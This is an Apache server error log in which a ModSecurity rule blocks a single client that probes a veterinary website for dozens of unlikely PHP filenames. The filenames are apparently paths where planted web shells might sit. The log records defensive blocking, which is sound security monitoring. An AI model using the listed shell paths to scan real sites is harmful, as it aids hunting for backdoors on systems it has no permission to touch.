[Tue Mar 31 10:37:13.339305 2026] [:error] [pid 6548:tid 6564] [client 158.158.51.236:31042] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "acszWbgIz9HgMl9YwE7JywAAAU4"]
[Tue Mar 31 10:37:16.190887 2026] [:error] [pid 36982:tid 36997] [client 158.158.51.236:35211] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "acszXPlMmeoQKN0r_GPZkAAAAMw"]
[Tue Mar 31 10:37:19.031820 2026] [:error] [pid 36892:tid 36963] [client 158.158.51.236:19110] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "acszX0yj9S4G0ek3O4LwygAAAIw"]
[Tue Mar 31 10:37:25.137773 2026] [:error] [pid 41421:tid 41439] [client 158.158.51.236:4828] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "acszZRSaDjY9kKFtUQCjEwAAAQ8"]
[Tue Mar 31 10:37:25.964720 2026] [:error] [pid 36982:tid 36998] [client 158.158.51.236:37065] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "acszZflMmeoQKN0r_GPZvgAAAM0"]
[Tue Mar 31 10:37:31.399901 2026] [:error] [pid 6548:tid 6571] [client 158.158.51.236:4862] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "acsza7gIz9HgMl9YwE7J8AAAAVU"]
[Tue Mar 31 10:37:35.235042 2026] [:error] [pid 6548:tid 6563] [client 158.158.51.236:26284] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "acszb7gIz9HgMl9YwE7J_AAAAU0"]
[Tue Mar 31 10:37:40.858652 2026] [:error] [pid 36890:tid 36919] [client 158.158.51.236:51138] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "acszdJ8FASPd_uH8z7d0DwAAABg"]
[Tue Mar 31 10:37:41.718366 2026] [:error] [pid 36890:tid 36912] [client 158.158.51.236:34848] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "acszdZ8FASPd_uH8z7d0EwAAABE"]
[Tue Mar 31 10:37:42.435987 2026] [:error] [pid 36982:tid 37009] [client 158.158.51.236:49127] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "acszdvlMmeoQKN0r_GPZ-QAAANg"]
[Tue Mar 31 10:37:43.047898 2026] [:error] [pid 6548:tid 6556] [client 158.158.51.236:36360] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "acszd7gIz9HgMl9YwE7KAQAAAUY"]
[Tue Mar 31 10:37:43.666039 2026] [:error] [pid 41421:tid 41426] [client 158.158.51.236:59640] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "acszdxSaDjY9kKFtUQCjOwAAAQI"]
[Tue Mar 31 10:37:44.453718 2026] [:error] [pid 36892:tid 36972] [client 158.158.51.236:21737] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "acszeEyj9S4G0ek3O4Lw4gAAAJU"]
[Tue Mar 31 10:37:45.115503 2026] [:error] [pid 36982:tid 37008] [client 158.158.51.236:26278] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "acszeflMmeoQKN0r_GPaBgAAANc"]
[Tue Mar 31 10:37:45.936424 2026] [:error] [pid 36891:tid 36948] [client 158.158.51.236:56725] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sale.php"] [unique_id "acszeZJhiMaJUqoqfl5QBgAAAFg"]
[Tue Mar 31 10:37:46.677973 2026] [:error] [pid 41421:tid 41427] [client 158.158.51.236:49112] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sale.php"] [unique_id "acszehSaDjY9kKFtUQCjRAAAAQM"]
[Tue Mar 31 10:37:47.447115 2026] [:error] [pid 6548:tid 6552] [client 158.158.51.236:4508] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sale.php"] [unique_id "acsze7gIz9HgMl9YwE7KCwAAAUI"]
[Tue Mar 31 10:37:48.377486 2026] [:error] [pid 6548:tid 6566] [client 158.158.51.236:36363] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sale.php"] [unique_id "acszfLgIz9HgMl9YwE7KDwAAAVA"]
[Tue Mar 31 10:37:49.737926 2026] [:error] [pid 6548:tid 6574] [client 158.158.51.236:34628] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "acszfbgIz9HgMl9YwE7KGQAAAVg"]
[Tue Mar 31 10:37:50.445392 2026] [:error] [pid 36982:tid 36997] [client 158.158.51.236:31010] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "acszfvlMmeoQKN0r_GPaFwAAAMw"]
[Tue Mar 31 10:37:51.307584 2026] [:error] [pid 36892:tid 36966] [client 158.158.51.236:47961] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "acszf0yj9S4G0ek3O4Lw5wAAAI8"]
[Tue Mar 31 10:37:51.915944 2026] [:error] [pid 36892:tid 36952] [client 158.158.51.236:51740] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "acszf0yj9S4G0ek3O4Lw6wAAAIE"]
[Tue Mar 31 10:37:52.589986 2026] [:error] [pid 36890:tid 36898] [client 158.158.51.236:45386] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "acszgJ8FASPd_uH8z7d0FgAAAAM"]
[Tue Mar 31 10:37:53.255944 2026] [:error] [pid 41421:tid 41438] [client 158.158.51.236:59596] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "acszgRSaDjY9kKFtUQCjTQAAAQ4"]
[Tue Mar 31 10:37:54.441281 2026] [:error] [pid 41421:tid 41442] [client 158.158.51.236:42437] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "acszghSaDjY9kKFtUQCjTgAAARI"]
[Tue Mar 31 10:37:56.438283 2026] [:error] [pid 6548:tid 6558] [client 158.158.51.236:51721] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "acszhLgIz9HgMl9YwE7KKAAAAUg"]
[Tue Mar 31 10:37:57.969442 2026] [:error] [pid 36891:tid 36940] [client 158.158.51.236:45403] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "acszhZJhiMaJUqoqfl5QDgAAAFA"]
[Tue Mar 31 10:37:58.691984 2026] [:error] [pid 36891:tid 36947] [client 158.158.51.236:42455] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "acszhpJhiMaJUqoqfl5QEAAAAFc"]
[Tue Mar 31 10:38:04.196662 2026] [:error] [pid 6548:tid 6569] [client 158.158.51.236:42468] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "acszjLgIz9HgMl9YwE7KNwAAAVM"]
[Tue Mar 31 10:38:06.446540 2026] [:error] [pid 41421:tid 41446] [client 158.158.51.236:42451] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "acszjhSaDjY9kKFtUQCjbQAAARY"]
[Tue Mar 31 10:38:07.341091 2026] [:error] [pid 6548:tid 6561] [client 158.158.51.236:46918] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hots.php"] [unique_id "acszj7gIz9HgMl9YwE7KRAAAAUs"]
[Tue Mar 31 10:40:25.564759 2026] [:error] [pid 36982:tid 36996] [client 158.158.51.236:59053] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "acs0GflMmeoQKN0r_GPb4QAAAMs"]
[Tue Mar 31 10:40:26.291209 2026] [:error] [pid 36892:tid 36956] [client 158.158.51.236:46343] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "acs0Gkyj9S4G0ek3O4LxeAAAAIU"]
[Tue Mar 31 10:40:26.931918 2026] [:error] [pid 41421:tid 41425] [client 158.158.51.236:54183] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "acs0GhSaDjY9kKFtUQCk4QAAAQE"]
[Tue Mar 31 10:40:28.332443 2026] [:error] [pid 6548:tid 6557] [client 158.158.51.236:16082] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "acs0HLgIz9HgMl9YwE7MEQAAAUc"]
[Tue Mar 31 10:40:29.110432 2026] [:error] [pid 36892:tid 36952] [client 158.158.51.236:35946] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bo.php"] [unique_id "acs0HUyj9S4G0ek3O4LxewAAAIE"]
[Tue Mar 31 10:40:29.727694 2026] [:error] [pid 6548:tid 6558] [client 158.158.51.236:49895] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bo.php"] [unique_id "acs0HbgIz9HgMl9YwE7MGQAAAUg"]
[Tue Mar 31 10:40:30.671681 2026] [:error] [pid 6548:tid 6556] [client 158.158.51.236:50438] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bo.php"] [unique_id "acs0HrgIz9HgMl9YwE7MHgAAAUY"]
[Tue Mar 31 10:40:31.592075 2026] [:error] [pid 36890:tid 36904] [client 158.158.51.236:41381] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bo.php"] [unique_id "acs0H58FASPd_uH8z7d1AwAAAAk"]
[Tue Mar 31 10:40:32.299536 2026] [:error] [pid 36982:tid 36999] [client 158.158.51.236:4115] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "acs0IPlMmeoQKN0r_GPb7wAAAM4"]
[Tue Mar 31 10:40:33.179197 2026] [:error] [pid 36890:tid 36900] [client 158.158.51.236:25247] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "acs0IZ8FASPd_uH8z7d1BgAAAAU"]
[Tue Mar 31 10:40:34.616813 2026] [:error] [pid 36982:tid 36986] [client 158.158.51.236:35965] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "acs0IvlMmeoQKN0r_GPb9wAAAME"]
[Tue Mar 31 10:40:35.316528 2026] [:error] [pid 36892:tid 36974] [client 158.158.51.236:35924] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "acs0I0yj9S4G0ek3O4LxfgAAAJc"]
[Tue Mar 31 10:40:36.329877 2026] [:error] [pid 6548:tid 6567] [client 158.158.51.236:39681] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "acs0JLgIz9HgMl9YwE7MKQAAAVE"]
[Tue Mar 31 10:40:37.646821 2026] [:error] [pid 41421:tid 41435] [client 158.158.51.236:56150] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "acs0JRSaDjY9kKFtUQCk7QAAAQs"]
[Tue Mar 31 10:40:38.688392 2026] [:error] [pid 6548:tid 6574] [client 158.158.51.236:25265] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "acs0JrgIz9HgMl9YwE7MOAAAAVg"]
[Tue Mar 31 10:40:39.787630 2026] [:error] [pid 41421:tid 41445] [client 158.158.51.236:43667] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "acs0JxSaDjY9kKFtUQClCAAAARU"]
[Tue Mar 31 10:40:41.062268 2026] [:error] [pid 41421:tid 41443] [client 158.158.51.236:39739] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "acs0KRSaDjY9kKFtUQClDgAAARM"]
[Tue Mar 31 10:40:41.798793 2026] [:error] [pid 36982:tid 37001] [client 158.158.51.236:39716] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "acs0KflMmeoQKN0r_GPcBAAAANA"]
[Tue Mar 31 10:40:42.611151 2026] [:error] [pid 6548:tid 6565] [client 158.158.51.236:4919] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "acs0KrgIz9HgMl9YwE7MUwAAAU8"]
[Tue Mar 31 10:40:43.521131 2026] [:error] [pid 41421:tid 41437] [client 158.158.51.236:4152] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "acs0KxSaDjY9kKFtUQClFgAAAQ0"]
[Tue Mar 31 10:40:44.303489 2026] [:error] [pid 36892:tid 36961] [client 158.158.51.236:60877] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "acs0LEyj9S4G0ek3O4LxnQAAAIo"]
[Tue Mar 31 10:40:45.193207 2026] [:error] [pid 36891:tid 36927] [client 158.158.51.236:19635] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "acs0LZJhiMaJUqoqfl5QpwAAAEM"]
[Tue Mar 31 10:40:47.193179 2026] [:error] [pid 36982:tid 36998] [client 158.158.51.236:19602] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "acs0L_lMmeoQKN0r_GPcEgAAAM0"]
[Tue Mar 31 10:40:48.467709 2026] [:error] [pid 36982:tid 36985] [client 158.158.51.236:25850] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "acs0MPlMmeoQKN0r_GPcFwAAAMA"]
[Tue Mar 31 10:40:49.805473 2026] [:error] [pid 36891:tid 36945] [client 158.158.51.236:18160] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "acs0MZJhiMaJUqoqfl5QqwAAAFU"]
